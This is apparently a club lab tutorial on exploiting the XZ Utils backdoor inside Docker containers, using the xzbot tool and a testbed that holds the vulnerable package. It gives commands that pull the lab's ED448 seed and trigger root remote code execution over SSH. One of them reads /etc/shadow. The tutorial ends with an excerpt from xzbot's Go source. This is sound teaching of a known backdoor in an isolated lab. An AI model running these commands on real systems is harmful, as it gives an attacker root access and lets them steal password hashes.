You may want to consult the materials from the “Further Reading” section for a more comprehensive understanding of the vulnerability.
Today, we want to specifically answer the question: “How can I exploit the XZ backdoor?”.
Am I vulnerable?
Xe Iaso’s inital report contains very actionable information to determine if you are vulnerable to this exploit:
If you are using one of these distributions, you should check to see if you are using xz version 5.6.0 or 5.6.1. If you are, you should downgrade to 5.4.6. If you can’t downgrade, you should disable public-facing SSH servers until you can downgrade.
At this time, we believe that version 5.4.6 is not vulnerable to this exploit. If you are using a different version, you should check with your distribution’s security mailing list to see if you are vulnerable. If you are not already subscribed to your distribution’s security mailing list, you should do so now.
Here is how you can tell if you’re running the affected version:
xz --version
Here is what the output on the vulnerable version looks like:
$ xz --versionxz (XZ Utils) 5.6.1liblzma 5.6.1
Understanding the mechanics
As has been covered extensively elsewhere, this backdoor involved a sophisticated process in which the binaries distributed to users is different from what was on GitHub (before it was deleted), so that the backdoor could not be found by auditing the code.
Additionally, the attack was designed so that it’s only vulnerable to people with the author’s “private key”. You can think of this like a password. In a sense, the goal of the attack was to hide some code in the most popular Linux distributions so that anyone with the “magic words” could have full control over the entire server.
So, if we want to take advantage of their exploit, we have to edit their code slightly, so that we can control what magic words it is waiting for.
backdoor demo: cli to trigger the RCE assuming knowledge of the ED448 private key
We’re going to be using the backdoor demo for today’s activity.
We can use Anthony’s patches to control the “magic words”/“private key” that the server expects, so that we can control the exploit as if we were the attackers.
Virtual Machine
To create a safe environment to work with this vulnerable code, I recommend working with it in a virtual machine.
I’m personally going to create a Kali VM, because that’s the standard for our club.
Consider adding more RAM to your VM before going further. Also, set your clipboard to bi-directional.
Docker installation
In your hacking environment, you can test if you have docker set up properly with:
docker ps
Otherwise, refer to how to install docker for your distro. (See Kali linux instructions here.)
Remember that you may want to sudo reboot for docker to set up properly.
Installing Docker Testbed
To practice this exploit, we’re going to use Davide Guerri’s “Small collection of famous exploits”, which describes itself as a “Docker test beds for famous, high-severity, exploits”. In this repo, Davide has done a great job of dockerizing Anthony Weems’s xzbot for testing and practice. It looks like both Anthony and Davide work for Google, which isn’t relevant, but it makes me feel better about not being able to figure this out on my own.
We are going to be heavily utilizing from Davide’s work for today’s activity.
xzbackdoor-vulnerable - This is what we will attack
xzbackdoor-poc - This is where we will attack from
(note that the Makefile
specifies docker-compose, but you’re might want docker compose. There’s a difference, but both should work for today.)
This will take care of ensuring that we download and set up the correct versions of xz and liblzma. Note the vulnerable .deb for liblzmais in Davide’s repo.
Executing the attack
Davide’s has listed instructions on how to execute the backdoor via docker compose, but I have modified these instructions slightly to work from within the bash prompt of the docker instance.
# start bash in the docker instancedocker exec -it xzbackdoor-poc bash# activate python environment (optional, but nice if you want to use patch.py). /opt/venv/bin/activate
From here, we can attack the system as if we were running commands on it normally.
Note:
The ed448 key pair is generated from a random seed. Info on the key and its seed are printed out and stored in /exploit/ed448info.txt
We want to get the key and seed that it randomly generated during setup. In the real world, this would be the private key that only the original creators of the exploit have.
# this extracts the seed from the information printed during the challenge setupseed="$(sed -n 's/^Seed: \([0-9][0-9]*\)/\1/p' /exploit/ed448info.txt)"# you can do 'cat /exploit/ed448info.txt' for more information.
# Make sure you can run xzbot. ask it for help/exploit/xzbot/xzbot --help# (the specific installation location is arbitrary to this exercise)
# use the seed we found earlier/exploit/xzbot/xzbot -addr xzbackdoor-vulnerable:22 -seed "$seed" -cmd "cat /etc/shadow > /tmp/.xz"
Note the output of this should end with “ssh: handshake failed: EOF”. This is normal.
Now, we can prove that we obtained remote code execution by opening another terminal and running:
# go into the vulnerable docker container, and read the file that we created via our SSH connectiondocker exec xzbackdoor-vulnerable cat /tmp/.xz
To prove we’re executing as root, we can do the following from the attacking container:
and then prove it by opening another terminal and running:
docker exec xzbackdoor-vulnerable cat /tmp/whoami.txt# should print 'current user: root'
This proves that we’re getting remote code execution as root.
Analysis of xzbot
But, why are we using xzbot? Is it doing anything magical to help us out here?
Nope! It’s just establishing the SSH connection with the appropriate key!
// ... signingKey := ed448.NewKeyFromSeed(seed[:]) // creates a key from same seed as in vulnerable system xz := &xzSigner{ // xzSigner takes a signing key and generates the appropriate public key signingKey: signingKey, encryptionKey: signingKey[ed448.SeedSize:], } // this creates an SSH client as the root user config := &ssh.ClientConfig{ User: "root", Auth: []ssh.AuthMethod{ // Establishes the authentication method using the public ssh.PublicKeys(xz), // key generated from the initial signing key and seed. }, HostKeyCallback: xz.HostKeyCallback, // takes the SSH public key and computes a hash } client, err := ssh.Dial("tcp", *addr, config) // establishes an SSH connection // ...